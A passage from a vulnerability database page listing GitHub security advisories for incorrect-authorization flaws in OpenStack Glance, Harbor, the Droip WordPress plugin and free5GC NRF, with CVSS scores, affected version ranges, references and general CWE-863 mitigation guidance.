      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q748-MCWG-XMQV

Vulnerability from github – Published: 2022-05-17 04:04 – Updated: 2026-01-20 13:05
VLAI
Summary
OpenStack Image Service (Glance) allows remote authenticated users to bypass access restrictions
Details

OpenStack Image Service (Glance) before 2014.2.4 (juno) and 2015.1.x before 2015.1.2 (kilo) allow remote authenticated users to change the status of their images and bypass access restrictions via the HTTP x-image-meta-status header to images/*.

Severity
5.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "glance"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2011.2"
            },
            {
              "fixed": "2014.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "glance"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2015.1.0"
            },
            {
              "fixed": "2015.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2015-5251"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-02-08T17:59:13Z",
    "nvd_published_at": "2015-10-26T17:59:00Z",
    "severity": "MODERATE"
  },
  "details": "OpenStack Image Service (Glance) before 2014.2.4 (juno) and 2015.1.x before 2015.1.2 (kilo) allow remote authenticated users to change the status of their images and bypass access restrictions via the HTTP x-image-meta-status header to images/*.",
  "id": "GHSA-q748-mcwg-xmqv",
  "modified": "2026-01-20T13:05:45Z",
  "published": "2022-05-17T04:04:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-5251"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2015:1897"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2015-5251"
    },
    {
      "type": "WEB",
      "url": "https://bugs.launchpad.net/bugs/1482371"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1263511"
    },
    {
      "type": "PACKAGE",
      "url": "https://opendev.org/openstack/glance"
    },
    {
      "type": "WEB",
      "url": "https://rhn.redhat.com/errata/RHSA-2015-1897.html"
    },
    {
      "type": "WEB",
      "url": "https://security.openstack.org/ossa/OSSA-2015-019.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenStack Image Service (Glance) allows remote authenticated users to bypass access restrictions"
}

GHSA-Q76Q-Q8HW-HMPW

Vulnerability from github – Published: 2022-09-09 19:47 – Updated: 2024-11-19 20:36
VLAI
Summary
Harbor fails to validate the user permissions when reading job execution logs through the P2P preheat execution logs
Details

Impact

Harbor fails to validate the user permissions when reading job execution logs through the P2P preheat execution logs - API call

GET /projects/{project_name}/preheat/policies/{preheat_policy_name}/executions/{execution_id}/tasks/{task_id}/logs

By sending a request that attempts to read P2P preheat execution logs and specifying different job ids, malicious authenticatedusers could read all the job logs stored in the Harbor database.

Patches

This and similar issues are fixed in Harbor v2.5.2 and later. Please upgrade as soon as possible.

Workarounds

There are no workarounds available.

For more information

If you have any questions or comments about this advisory: * Open an issue in the Harbor GitHub repository

Credits

Thanks to Gal Goldstein and Daniel Abeles from Oxeye Security for reporting this issue.

Severity
5.0 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.10.12"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/goharbor/harbor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.10.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.4.2"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/goharbor/harbor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.4.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.5.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/goharbor/harbor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.5.0"
            },
            {
              "fixed": "2.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-31671"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-09-09T19:47:03Z",
    "nvd_published_at": "2024-11-14T12:15:17Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nHarbor fails to validate the user permissions when reading job execution logs through the P2P preheat execution logs - API call\n\n\u00a0 GET /projects/{project_name}/preheat/policies/{preheat_policy_name}/executions/{execution_id}/tasks/{task_id}/logs\n\nBy sending a request that attempts to read P2P preheat execution logs and specifying different job ids, malicious authenticatedusers could read all the job logs stored in the Harbor database.\n\n### Patches\nThis and similar issues are fixed in Harbor v2.5.2 and later. Please upgrade as soon as possible.\n\n### Workarounds\nThere are no workarounds available.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [the Harbor GitHub repository](https://github.com/goharbor/harbor)\n\n### Credits\nThanks to [Gal Goldstein](https://www.linkedin.com/in/gal-goldshtein/) and [Daniel Abeles](https://www.linkedin.com/in/daniel-abeles/) from [Oxeye Security](https://www.oxeye.io/) for reporting this issue.\n",
  "id": "GHSA-q76q-q8hw-hmpw",
  "modified": "2024-11-19T20:36:37Z",
  "published": "2022-09-09T19:47:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/goharbor/harbor/security/advisories/GHSA-3wpx-625q-22j7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/goharbor/harbor/security/advisories/GHSA-q76q-q8hw-hmpw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31671"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/goharbor/harbor"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Harbor fails to validate the user permissions when reading job execution logs through the P2P preheat execution logs"
}

GHSA-Q76R-Q56H-F5FJ

Vulnerability from github – Published: 2024-08-29 18:31 – Updated: 2026-04-23 15:32
VLAI
Details

Incorrect Authorization vulnerability in Themeum Droip allows Accessing Functionality Not Properly Constrained by ACLs.This issue affects Droip: from n/a through 1.1.1.

Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-43954"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-08-29T16:15:09Z",
    "severity": "MODERATE"
  },
  "details": "Incorrect Authorization vulnerability in Themeum Droip allows Accessing Functionality Not Properly Constrained by ACLs.This issue affects Droip: from n/a through 1.1.1.",
  "id": "GHSA-q76r-q56h-f5fj",
  "modified": "2026-04-23T15:32:24Z",
  "published": "2024-08-29T18:31:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43954"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/droip/vulnerability/wordpress-droip-plugin-1-1-1-subscriber-settings-change-data-exposure-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/droip/wordpress-droip-plugin-1-1-1-subscriber-settings-change-data-exposure-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q7C8-GFJH-8V4P

Vulnerability from github – Published: 2026-01-23 18:31 – Updated: 2026-06-05 18:09
VLAI
Summary
Free5gc NRF is vulnerable to scope validation bypass via maliciously crafted targetNF value
Details

An issue was discovered in Free5gc NRF 1.4.0. In the access-token generation logic of free5GC, the AccessTokenScopeCheck() function in file internal/sbi/processor/access_token.go bypasses all scope validation when the attacker uses a crafted targetNF value. This allows attackers to obtain an access token with any arbitrary scope.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/free5gc/nrf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-66719"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-05T18:09:13Z",
    "nvd_published_at": "2026-01-23T16:15:51Z",
    "severity": "CRITICAL"
  },
  "details": "An issue was discovered in Free5gc NRF 1.4.0. In the access-token generation logic of free5GC, the AccessTokenScopeCheck() function in file internal/sbi/processor/access_token.go bypasses all scope validation when the attacker uses a crafted targetNF value. This allows attackers to obtain an access token with any arbitrary scope.",
  "id": "GHSA-q7c8-gfjh-8v4p",
  "modified": "2026-06-05T18:09:13Z",
  "published": "2026-01-23T18:31:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66719"
    },
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/free5gc/issues/733"
    },
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/free5gc/issues/736"
    },
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/nrf/pull/73"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/free5gc/nrf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Free5gc NRF is vulnerable to scope validation bypass via maliciously crafted targetNF value"
}
Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list